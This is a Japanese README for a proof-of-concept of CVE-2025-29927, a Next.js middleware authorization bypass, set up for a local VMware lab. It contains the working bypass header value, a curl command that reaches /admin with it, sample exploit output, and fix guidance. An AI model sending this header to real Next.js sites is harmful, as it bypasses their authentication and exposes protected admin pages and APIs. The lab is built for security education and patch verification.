
CVE-2025-29927の概念実証エクスプロイト。Next.jsミドルウェアの認可バイパスです。細工したx-middleware-subrequestヘッダーを送信してバイパスを検証するための、脆弱なターゲットラボとPythonスクリプトが含まれています。
ローカル認可ラボ環境(VMware:Ubuntu ターゲット + Kali 攻撃機)で CVE-2025-29927(Next.js Middleware Authorization Bypass)を検証するための 小規模な GitHub プロジェクトです。
⚠️ 免責事項:このプロジェクトは、セキュリティ教育、CTF、および自分自身が所有/明示的に認可されたラボ環境でのみ使用してください。 認可されていないシステムへの使用は固く禁じられています。このプロジェクトの誤用によって生じた結果は、利用者の責任となります。
この脆弱性の出現後、多くの本番環境の管理バックエンド、決済コールバック、内部 API がバイパスされ、Metasploit と ProjectDiscovery Nuclei の両方が検出モジュールを収録しており、2025年で最も代表的な 「フレームワークレベルの認可バイパス」脆弱性の1つです。
Next.js では「認証ロジック」を middleware(ミドルウェア) に記述できます。例:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // 未ログイン → ブロック
return NextResponse.next();
}
問題は、Next.js 内部がクライアントが偽造できるリクエストヘッダーに依存して「このリクエストが既に ミドルウェアを実行したかどうか」を判定していることです:
x-middleware-subrequest: middleware
影響を受けるバージョンでは、外部リクエストがこの内部ヘッダーを運ぶだけで、Next.js はミドルウェアが既に実行されたと誤認し、
認証ミドルウェア全体がスキップされます。攻撃者はアカウントを一切持たずに、このヘッダーを付けて
/admin などの保護されたルートにアクセスすると 200 で直接到達できます——ページ自体は通常ミドルウェアを信頼し、二次検証を行わないため、
認可チェックはここで無効になります(信頼境界エラー)。
💡 公開されているエクスプロイトで最も一般的な値は、ミドルウェアパスを繰り返し連結した形式です。例:
middleware:middleware:middleware:middleware:middleware; 単一のmiddlewareは一部のバージョン/ディレクトリ構成では機能しません(このラボの 14.2.24 で実際に確認済み)。 この PoC は複数の候補値をポーリングし、いずれかがヒットすればバイパス成功です。
CVE-2025-29927-PoC/
├── README.md # 本ドキュメント(脆弱性の説明 + VMware ラボチュートリアル)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ Python3 標準ライブラリのみの検証 PoC(Kali/任意のマシンで実行)
├── target/ # ★ 自前の脆弱性ラボ(Ubuntu ターゲットにコピー)
│ ├── package.json # [email protected] を固定(影響を受けるバージョン)
│ ├── middleware.js # 実際の本番環境を模した「認証ミドルウェア」
│ ├── pages/
│ │ ├── index.js # ホームページ
│ │ ├── login.js # ログインページ(リダイレクト先のデモ)
│ │ └── admin.js # ★ 保護されたバックエンド、サーバー側で flag.txt を読み取る
│ ├── flag.txt # ラボのフラグ:FLAG{...}
│ ├── setup.sh # ターゲットで Node 20 + npm install + build をワンクリック実行
│ └── start.sh # 本番モードで 0.0.0.0:3000 をリッスン
└── tests/
└── mock_target.py # Node 不要のモックターゲット(開発時のセルフテスト用のみ)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17(ホスト:Windows) │
│ ネットワーク:NAT(デフォルト VMnet8)、2台の VM は同一セグメント、相互 ping 可 │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ ターゲット Ubuntu 24.04 │ │ 攻撃機 Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
以下の手順はすべて Ubuntu ターゲット 上で実行します。
# 方法 A:プロジェクトを自分の GitHub にプッシュして clone(推奨、後で GitHub にプッシュする場合はこちら)
git clone https://github.com/<あなたのユーザー名>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# 方法 B:ホストから scp で転送
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Node 20(LTS) + npm install + next build をインストール
setup.sh が内部で行うこと:apt を更新 → curl/CA/build ツールをインストール → NodeSource 経由で
Node.js 20 LTS をインストール → npm install([email protected] などの依存関係を取得)→ npm run build。
bash start.sh
# "▲ Next.js 14.2.24" と "Local: http://0.0.0.0:3000" が表示されれば成功
別のターミナルを開いて、まずローカルのスモークテストを実行:
curl -s http://127.0.0.1:3000 # ホームページ、200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# 期待される出力 307 —— cookie なしで middleware にブロックされる(認証が正常に動作)
curl -s http://127.0.0.1:3000/admin # body はリダイレクト後のログインページの内容であることを確認
ターゲットのファイアウォールはデフォルトでインバウンドをブロックしません。ufw を有効にしている場合:
sudo ufw allow 3000/tcp。
sudo apt update
python3 --version # Kali には Python3 が標準搭載、追加の依存関係は不要(PoC は標準ライブラリのみ)
ip -4 addr show # Kali の IP をメモ(例:192.168.x.xxx)
exploit.py を Kali に転送(同じリポジトリを clone するか、scp で単一ファイルを転送)、その後2台の
VM が相互に通信できることを確認:
ping <TARGET_IP> # 通る ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # 200 が出力されるはず
Kali 攻撃機 上で実行:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] ベースライン検出 GET /admin(特別なヘッダーなし)
└─ ステータスコード 307 —— middleware によって正常にブロック ✓(脆弱性環境の準備完了)
[2/3] バイパス試行 x-middleware-subrequest: <候補値ポーリング>
└─ ヘッダー値='middleware:middleware:middleware:middleware:middleware' ステータスコード 200 —— バイパス成功!ミドルウェアがスキップされました ✓
[3/3] 結果の抽出
└─ バックエンドページがサーバー側の flag.txt を読み取りました:
FLAG{cve-2025-29927-lab-ok}
[+] 結論: VULNERABLE —— CVE-2025-29927 認可バイパス検証が成功しました
重要な解釈:同じ URL でも、特別なヘッダーなしでは 307 でブロックされ、x-middleware-subrequest
を付けると 200 でバックエンドに直接到達 —— 完全な「認証ミドルウェアバイパス」検証のループが完了します。
# ① ベースライン:307 が返るはず(/login へのリダイレクト)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② エクスプロイト:200 が返り、FLAG{...} が含まれるはず
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 実測メモ:このラボ(Next 14.2.24 + ルートディレクトリの
middleware.js)では、5連結の値middleware:middleware:middleware:middleware:middlewareが有効で、単一のmiddlewareは無効です。curl での手動テストは上記の5連結値を使用してください。不明な場合はexploit.pyを実行してください(候補値を自動ポーリングします)。
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL ターゲットアドレス、例:http://192.168.162.10:3000
--path PATH 保護されたパス、デフォルト /admin
--timeout SECONDS 単一リクエストのタイムアウト、デフォルト 10
--delay SECONDS リクエストヘッダー候補値のポーリング間隔、デフォルト 0
--insecure HTTPS 証明書検証をスキップ
--verbose 各候補ヘッダーのレスポンスステータスを出力(デバッグ用)
終了コード:0 = 脆弱性の存在を確認;1 = ターゲットが影響を受けない/全リクエスト失敗;2 = パラメータまたは環境エラー
VMware がない/先に Node をインストールしたくない場合、リポジトリ付属のモックターゲットで PoC ロジックを 先に実行できます(ホストに Python3 があればOK。「307 ブロック / 特別なヘッダーで 200」の動作を模擬):
# ターミナル 1:モックターゲットを起動(127.0.0.1:8123 をリッスン)
python3 tests/mock_target.py
# ターミナル 2:検証
python3 exploit.py -u http://127.0.0.1:8123
# 同じく VULNERABLE と FLAG{mock-bypass-ok} が出力されるはず
注意:モックはスクリプトロジックのセルフテスト専用です。正式な検証は必ず 5、6 節の実際のラボ環境で行ってください。
npm i [email protected](または 15.2.3+ / 対応する新しいバージョン)、再ビルドしてデプロイ;getServerSideProps / Route Handler / バックエンド API 内で二次的な身元検証を行う;x-middleware-subrequest ヘッダーをすべて破棄する。# Nuclei 公式テンプレート
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
アップグレード後にこの PoC を再実行すると、「ターゲットは影響を受けません」と出力されるはずです——これが修正前後の比較の受け入れ方法です。
| 項目 | 内容 |
|---|
| CVE | CVE-2025-29927 |
| 公開日 | 2025-03-25(Next.js 公式セキュリティアドバイザリ) |
| 影響を受けるコンポーネント | Vercel Next.js(Node.js フルスタックフレームワーク) |
| 脆弱性の種類 | 認可バイパス / Improper Authorization(CWE-863) |
| 影響を受けるバージョン | < 12.3.5、< 13.5.9、< 14.2.25、< 15.2.3 |
| 修正バージョン | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 以上 |
| 危険度 | Critical / 高(具体的なスコアは NVD ページを参照) |
| 用途 | イメージ/ソフトウェア | 推奨バージョン |
|---|
| 仮想マシンソフトウェア | VMware Workstation Pro 17(個人利用は無料化) | 17.x |
| ターゲットイメージ | Ubuntu Server LTS ISO | 24.04.x |
| 攻撃機 | Kali Linux(公式 VMware プリビルトイメージまたは ISO インストール) | 2025.x |
| (任意) | ホスト 8 GB 以上のメモリ、50 GB 以上のディスク | — |
| 現象 | 原因 / 解決策 |
|---|
next start がポート使用中と表示 | lsof -i :3000 で使用中のプロセスを特定、または -p 3001 に変更 |
curl http://<TARGET_IP>:3000 が通らない | 2台の VM が同じ NAT セグメントにない;VMware ネットワークアダプタが両方 NAT であることを確認、ip a でセグメントを確認 |
/admin へのアクセスがベースラインで 200 | middleware が機能していない:middleware.js が target/ ルートディレクトリにあり、setup.sh のビルドが成功したことを確認 |
| バイパスヘッダーを試してもまだ 307 | バージョン/ディレクトリ構成によって有効な値が異なる:まず python3 exploit.py --verbose を実行してポーリング結果を確認;curl での手動テストは5連結値 middleware:middleware:middleware:middleware:middleware を使用 |
| Kali が Ubuntu に ping できない | VMware NAT ではデフォルトで相互通信可能;それでも通らない場合は両機のファイアウォールとスナップショット復元を確認 |
| 別の Next バージョンで検証したい | target/package.json の next バージョンを変更後、npm install && npm run build を再実行 |